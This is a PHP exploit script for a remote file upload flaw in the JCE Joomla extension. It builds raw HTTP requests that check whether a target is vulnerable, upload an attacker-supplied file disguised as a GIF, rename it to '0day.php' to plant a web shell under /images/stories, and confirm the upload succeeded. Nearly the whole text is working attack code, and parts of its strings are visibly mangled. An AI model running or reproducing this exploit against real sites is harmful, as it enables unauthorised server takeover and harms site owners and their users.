7.5 # Coded By: Mostafa Azizi ################################################################################################### error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'
JCE Joomla Extension Remote File Upload
JCE Joomla Extension Remote File Upload
'; function sendpacket($packet,$response = 0,$output = 0,$s=0) { $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; global $proxy, $host, $port, $html, $user, $pass; if ($proxy == '') { $ock = fsockopen($host,$port); stream_set_timeout($ock, 5); if (!$ock) { echo ' No response from '.htmlentities($host).' ...
'; die; } } else { $parts = explode(':',$proxy); echo 'Connecting to proxy: '.$parts[0].':'.$parts[1].' ...
'; $ock = fsockopen($parts[0],$parts[1]); stream_set_timeout($ock, 5); if (!$ock) { echo 'No response from proxy...
'; die; } } fputs($ock,$packet); if ($response == 1) { if ($proxy == '') { $html = ''; while (!feof($ock)) { $html .= fgets($ock); } } else { $html = ''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html .= fread($ock,1); } } } else $html = ''; fclose($ock); if ($response == 1 && $output == 1) echo nl2br(htmlentities($html)); if ($s==1){ $count=0; $res=nl2br(htmlentities($html)); $str = array('2.0.11Target patched.
"; die(); } } if ($count=10) echo 'Target is exploitable.
'; } } $host = $_POST['host']; $path = $_POST['path']; $port = $_POST['port']; $proxy = $_POST['proxy']; if (isset($_POST['Submit']) && $host != '' && $path != '') { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');} if ($proxy=='') {$p=$path;} else {$p='https://'.$host.':'.$port.$path;} $host=str_replace("
","",$host); $path=str_replace("
","",$path); /* Packet 1 --> Checking Exploitability */ $packet = "GET ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1
"; $packet .= "Host: ".$host."
"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE)
"; sendpacket($packet,1,0,1); /* Packet 2 --> Uploading shell as a gif file */ $content = "GIF89a1
"; $content .= file_get_contents($_FILES['datafile']['tmp_name']); $data = "-----------------------------41184676334
"; $data .= "Content-Disposition: form-data; name="upload-dir"
"; $data .= "/
"; $data .= "-----------------------------41184676334
"; $data .= "Content-Disposition: form-data; name="Filedata"; filename=""
"; $data .= "Content-Type: application/octet-stream
"; $data .= "-----------------------------41184676334
"; $data .= "Content-Disposition: form-data; name="upload-overwrite"
"; $data .= "0
"; $data .= "-----------------------------41184676334
"; $data .= "Content-Disposition: form-data; name="Filedata"; filename="0day.gif"
"; $data .= "Content-Type: image/gif
"; $data .= "$content
"; $data .= "-----------------------------41184676334
"; $data .= "0day
"; $data .= "-----------------------------41184676334
"; $data .= "Content-Disposition: form-data; name="action"
"; $data .= "upload
"; $data .= "-----------------------------41184676334--
"; $packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1
"; $packet .= "Host: ".$host."
"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE)
"; $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334
"; $packet .= "Accept-Language: en-us,en;q=0.5
"; $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
"; $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
"; $packet .= "Connection: Close
"; $packet .= "Proxy-Connection: close
"; $packet .= "Content-Length: ".strlen($data)."
"; $packet .= $data; sendpacket($packet,0,0,0); /* Packet 3 --> Change Extension from .gif to .php */ $packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1
"; $packet .= "Host: ".$host."
"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE)
"; $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
"; $packet .= "Accept-Language: en-US,en;q=0.8
"; $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
"; $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8
"; $packet .= "Accept-Encoding: deflate
"; $packet .= "X-Request: JSON
"; $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182
"; $ren ="json={"fn":"folderRename","args":["/0day.gif","0day.php"]}"; $packet .= "Content-Length: ".strlen($ren)."
"; $packet .= $ren."
"; sendpacket($packet,1,0,0); /* Packet 4 --> Check for successfully uploaded */ $packet = "Head ".$p."/images/stories/0day.php HTTP/1.1
"; $packet .= "Host: ".$host."
"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE)
"; sendpacket($packet,1,0,0); if(stristr($html , '200 OK') != true) {echo "Exploit Faild...";} else echo "Exploit Succeeded...
https://$host:$port$path"."/images/stories/0day.php"; } ?>